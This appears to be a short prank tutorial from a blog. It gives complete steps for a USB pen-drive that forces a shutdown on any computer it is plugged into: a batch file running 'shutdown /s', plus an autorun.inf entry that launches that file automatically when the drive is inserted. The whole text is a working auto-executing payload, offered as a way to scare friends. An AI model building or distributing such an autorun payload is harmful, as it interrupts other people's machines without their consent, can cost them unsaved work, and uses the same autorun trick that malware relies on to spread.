Today I am going to teach you how to scare your friends by playing a little trick using a pen-drive. All you need to do is make a batch file using notepad. Open notepad and type the following code.
cd /
shutdown /s
Save the notepad file with a .bat extension. You can name it pendrive.bat (for example). Now you need to create another file using notepad with the code given below.
[Autorun]
open=pendrive.bat
Please make sure you give the name of the first file in “open” field on the second file. Now you need to save it as autorun.inf.
Now put both the files in a pendrive. If you plug this pendrive to any system, the computer will shutdown automatically. You can disable autorun and format the pendrive for using it for other purposes.